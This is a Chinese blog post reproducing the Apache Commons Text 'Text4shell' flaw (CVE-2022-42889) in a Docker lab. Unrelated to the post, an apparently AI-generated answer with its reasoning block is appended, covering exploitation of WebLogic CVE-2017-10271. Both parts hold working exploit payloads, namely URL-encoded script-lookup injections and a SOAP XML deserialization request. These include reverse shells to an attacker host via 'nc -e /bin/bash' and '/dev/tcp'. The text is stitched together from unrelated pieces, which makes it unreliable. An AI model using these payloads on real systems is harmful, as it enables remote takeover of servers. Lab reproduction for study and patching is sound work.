[漏洞复现]Text4shell(CVE-2022-42889)

简介

Apache Commons Text 项目实现了一系列关于文本字符串的算法,专注于处理字符串和文本块。10月13日,Apache发布安全公告,修复了Apache Commons Text中的一个远程代码执行漏洞(CVE-2022-42889)。
Apache Commons Text版本1.5到1.9中,该问题的根源在于在DNS、脚本和 URL 查找期间执行的字符串替换方式可能导致在传递不受信任的输入时在易受攻击的系统上执行任意代码。
成功利用该漏洞可以使威胁参与者仅通过特制的有效负载打开与易受攻击的应用程序的反向 shell 连接,从而有效地为后续攻击打开大门。

影响版本

1.5 <= Apache Commons Text <= 1.9

环境搭建

GitHub地址: https://github.com/karthikuj/cve-2022-42889-text4shell-docker

  1. 需要JDK版本11.0以上,跳过
yum update && yum install openjdk-11-jdk
  1. 安装docker
yum install docker.io containerd runc
  1. 新建文件夹安装mvn
wget https://mirrors.estointernet.in/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -xvf apache-maven-3.6.3-bin.tar.gz
  1. 从github拉取PoC
git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker.git
  1. 进入PoC文件夹后使用mvn clean install
../apache-maven-3.6.3/bin/mvn clean install

在这里插入图片描述

  1. docker拉取镜像
docker build --tag=text4shell .
  1. 启动docker测试app
docker run -p 80:8080 text4shell

在这里插入图片描述

漏洞复现

payload

search=${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

url编码
search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

还可以尝试,我这个靶机好像不支持
search=${url:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
search=${dns:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

在这里插入图片描述

获取容器id

docker container ls

进入容器查看我们刚刚新建的文件foo

docker exec -it <CONTAINER_ID> bash

在这里插入图片描述

使用nc监听

nc -lvnp 4444

payload

search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nc%20攻击机ip%20端口%20-e%20%2Fbin%2Fbash%27%29%7D

url编码生成参考https://www.urlencoder.org/
重要提醒:生成的编码包含:“.exec%27”。这是不正确的,它必须是“.exec%28%27”。由于 Medium.com 输入验证,无法使用“.exec%28%27”。我们必须手动添加缺少的“%28”…

漏洞修复

1.升级到 Apache Commons Text 1.10.0(1.10官方默认移除了script)

参考

1.https://blog.csdn.net/qq_44281295/article/details/127383312
2.https://baijiahao.baidu.com/s?id=1747458179022945119&wfr=spider&for=pc
3.https://mp.weixin.qq.com/s/2q5SL1CJAHVPMbKP2Pg_AA

<think>好的,用户想了解在Vulhub靶场上设置或利用CVE-2017-10271漏洞的方法。首先,我需要回忆一下这个漏洞的基本情况。CVE-2017-10271是WebLogic的一个远程代码执行漏洞,由于XML反序列化处理不当导致攻击者可以发送恶意请求执行任意命令。 接下来,用户提到的是Vulhub靶场,所以我需要确认Vulhub是否包含这个漏洞的环境。根据提供的引用内容,引用[4]提到了weblogic cve-2017-10271漏洞复现,但用户提供的引用中并没有直接给出Vulhub的配置步骤,而是提到了vulfocus。可能用户混淆了不同靶场,但Vulhub确实有多个WebLogic漏洞的环境,需要检查是否存在CVE-2017-10271的具体配置。 首先,用户需要搭建Vulhub环境。通常步骤是安装Docker和docker-compose,然后从Vulhub的GitHub仓库下载环境。接着在对应漏洞目录下启动容器。假设Vulhub中有该漏洞的环境,用户需要进入对应的目录,比如vulhub/weblogic/CVE-2017-10271,执行docker-compose up -d启动环境。 然后是漏洞利用部分。该漏洞利用通常涉及发送构造的XML请求到WebLogic的wls-wsat组件。使用工具如curl或Python脚本发送恶意HTTP POST请求,其中包含反序列化payload,比如通过XML中嵌入Java代码执行命令。例如,用户可能使用反弹shell的命令,将bash -i重定向到攻击者的监听端口。 需要注意的地方包括确保靶场环境正确启动,端口开放,以及替换利用代码中的IP和端口为实际的攻击机地址。此外,测试完毕后要关闭环境,避免留下安全隐患。 用户可能遇到的问题包括环境配置错误、依赖未安装,或者利用代码的格式问题。需要提醒用户检查Docker服务状态,确认目录正确,以及利用代码中的特殊字符是否正确转义。 最后,按照用户要求生成相关问题,可能需要涵盖漏洞原理、其他相关漏洞、防护措施以及调试方法等。</think>### Vulhub靶场中CVE-2017-10271漏洞配置与利用方法 #### 环境搭建步骤 1. **安装Docker与Vulhub** 确保系统已安装Docker和docker-compose,通过以下命令拉取Vulhub漏洞库: ```bash git clone https://github.com/vulhub/vulhub.git cd vulhub/weblogic/CVE-2017-10271 docker-compose up -d ``` 启动后,WebLogic服务将运行在`http://靶机IP:7001`。 2. **验证环境** 访问`http://靶机IP:7001/console`,若出现WebLogic登录页面,则环境搭建成功[^4]。 --- #### 漏洞利用方法 1. **构造恶意请求** 漏洞存在于`wls-wsat`组件的XML反序列化处理。通过发送包含恶意代码的POST请求触发漏洞。 **示例Payload**(反弹Shell): ```http POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 靶机IP:7001 Content-Type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string>/bin/bash</string></void> <void index="1"><string>-c</string></void> <void index="2"><string>bash -i >& /dev/tcp/攻击机IP/监听端口 0>&1</string></void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> ``` 2. **启动监听并触发漏洞** - 攻击机上执行: ```bash nc -lvp 监听端口 ``` - 发送上述Payload至目标服务器,成功后将在攻击机获得Shell权限。 --- #### 关键注意事项 1. **特殊字符转义** XML中需对`&`, `>`等符号转义,例如将`>`替换为`&gt;`,否则请求会因格式错误被拒绝。 2. **环境清理** 测试完成后执行: ```bash docker-compose down ``` --- #### 漏洞原理分析 CVE-2017-10271因WebLogic的`wls-wsat`组件未严格过滤XML输入,导致攻击者可通过反序列化操作执行任意Java代码。其核心问题在于`XMLDecoder`未对输入数据做安全检查[^4]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值